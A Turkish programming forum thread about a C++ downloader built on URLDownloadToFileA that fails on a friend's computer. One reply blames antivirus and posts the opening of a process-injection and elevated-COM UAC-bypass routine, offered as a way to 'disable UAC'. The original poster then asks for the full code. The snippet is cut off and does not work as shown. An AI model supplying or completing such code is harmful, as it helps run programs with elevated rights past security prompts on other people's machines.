URLDownloadToFile çalışmıyor

Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...
Onaylı Üye
Katılım
3 Ağu 2017
Mesajlar
61
Tepki puanı
11
Yaş
28
8 HİZMET YILI
Selam bi indirme programı yaptım ama benim bilgisayarımda çalışıp arkadaşımın bilgisyarında çalışmıyor sorun neyden kaynaklı olabilir
Kod
C++:
    HRESULT h_r = URLDownloadToFileA(NULL, link.c_str(), dosya.c_str(), 0, NULL);
        if(h_r == S_OK)
        {
            cout << "ok";
        }
        else
        {
            cout << "fail";
        }
 
Słyszę, słyszę letni powiew.
Kurucu
Katılım
20 Haz 2015
Mesajlar
7,666
Çözümler
136
Tepki puanı
20,724
Ödüller
25
10 HİZMET YILI
Yönetici olarak açsın, ayriyetten dosya yolunu kontrol etmeyi unutma.
 
Banlı Üye
Katılım
15 Eki 2018
Mesajlar
703
Çözümler
1
Tepki puanı
120
Yaş
25
7 HİZMET YILI
buyuk ıhtımal antıvırus veya başka birşey engellıyor alttakı attıgım kod sayesinde uac yönetimini devre dışı bırak yanı arkadasının oturum actıgı hesap yonetıcılıgını kaybedıyor bu sayede dosyalar çalışır
Kod:
#define _HAS_EXCEPTIONS 0
 
#include <windows.h>
#include <commctrl.h>
#include <shlobj.h>
#include <psapi.h>
 
 
struct InjectArgs
{
    // Functions
    BOOL    (WINAPI *FFreeLibrary)(HMODULE hLibModule);
    HMODULE (WINAPI *FLoadLibrary)(LPCWSTR lpLibFileName);
    FARPROC (WINAPI *FGetProcAddress)(HMODULE hModule, LPCSTR lpProcName);
    BOOL    (WINAPI *FCloseHandle)(HANDLE);
    DWORD   (WINAPI *FWaitForSingleObject)(HANDLE,DWORD);
 
    // Static strings
    wchar_t szSourceDll[MAX_PATH];
    wchar_t szElevDir[MAX_PATH];
    wchar_t szElevDll[MAX_PATH];
    wchar_t szElevDllFull[MAX_PATH];
    wchar_t szElevExeFull[MAX_PATH];
    wchar_t szElevArgs[MAX_PATH];
    wchar_t szEIFOMoniker[MAX_PATH]; // szElevatedIFileOperationMoniker
 
    // some GUIDs
    IID     pIID_EIFO;
    IID     pIID_ShellItem2;
    IID     pIID_Unknown;
 
    // Dll and import strings
    wchar_t NameShell32[20];
    wchar_t NameOle32[20];
    char    NameCoInitialize[20];
    char    NameCoUninitialize[20];
    char    NameCoGetObject[20];
    char    NameCoCreateInstance[20];
    char    NameSHCreateItemFromParsingName[30];
    char    NameShellExecuteExW[20];
 
    // IMPORTANT: Allocating structures here (so we know where it was allocated)
    SHELLEXECUTEINFO shinfo;
    BIND_OPTS3 bo;
};
 
 
// important: error code here is passed back to original process (1 = success, 0 = failure)
 
static DWORD WINAPI RemoteCodeFunc(InjectArgs * Args)
{
    NTSTATUS Status = 0;
    HMODULE ModuleOle32    = Args->FLoadLibrary(Args->NameOle32);
    HMODULE ModuleShell32  = Args->FLoadLibrary(Args->NameShell32);
 
    if (!ModuleOle32 || !ModuleShell32)
        return 0;
 
Onaylı Üye
Katılım
3 Ağu 2017
Mesajlar
61
Tepki puanı
11
Yaş
28
8 HİZMET YILI
Yönetici olarak açsın, ayriyetten dosya yolunu kontrol etmeyi unutma.
Herşey kontrollü türkçe karakter varmı yokmu vb. ama nedense olmuyor.
buyuk ıhtımal antıvırus veya başka birşey engellıyor alttakı attıgım kod sayesinde uac yönetimini devre dışı bırak yanı arkadasının oturum actıgı hesap yonetıcılıgını kaybedıyor bu sayede dosyalar çalışır
Kod:
#define _HAS_EXCEPTIONS 0

#include <windows.h>
#include <commctrl.h>
#include <shlobj.h>
#include <psapi.h>


struct InjectArgs
{
    // Functions
    BOOL    (WINAPI *FFreeLibrary)(HMODULE hLibModule);
    HMODULE (WINAPI *FLoadLibrary)(LPCWSTR lpLibFileName);
    FARPROC (WINAPI *FGetProcAddress)(HMODULE hModule, LPCSTR lpProcName);
    BOOL    (WINAPI *FCloseHandle)(HANDLE);
    DWORD   (WINAPI *FWaitForSingleObject)(HANDLE,DWORD);

    // Static strings
    wchar_t szSourceDll[MAX_PATH];
    wchar_t szElevDir[MAX_PATH];
    wchar_t szElevDll[MAX_PATH];
    wchar_t szElevDllFull[MAX_PATH];
    wchar_t szElevExeFull[MAX_PATH];
    wchar_t szElevArgs[MAX_PATH];
    wchar_t szEIFOMoniker[MAX_PATH]; // szElevatedIFileOperationMoniker

    // some GUIDs
    IID     pIID_EIFO;
    IID     pIID_ShellItem2;
    IID     pIID_Unknown;

    // Dll and import strings
    wchar_t NameShell32[20];
    wchar_t NameOle32[20];
    char    NameCoInitialize[20];
    char    NameCoUninitialize[20];
    char    NameCoGetObject[20];
    char    NameCoCreateInstance[20];
    char    NameSHCreateItemFromParsingName[30];
    char    NameShellExecuteExW[20];

    // IMPORTANT: Allocating structures here (so we know where it was allocated)
    SHELLEXECUTEINFO shinfo;
    BIND_OPTS3 bo;
};


// important: error code here is passed back to original process (1 = success, 0 = failure)

static DWORD WINAPI RemoteCodeFunc(InjectArgs * Args)
{
    NTSTATUS Status = 0;
    HMODULE ModuleOle32    = Args->FLoadLibrary(Args->NameOle32);
    HMODULE ModuleShell32  = Args->FLoadLibrary(Args->NameShell32);

    if (!ModuleOle32 || !ModuleShell32)
        return 0;
Kodun tamamını atarsanız daha iyi olur :)
 
Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...
Üst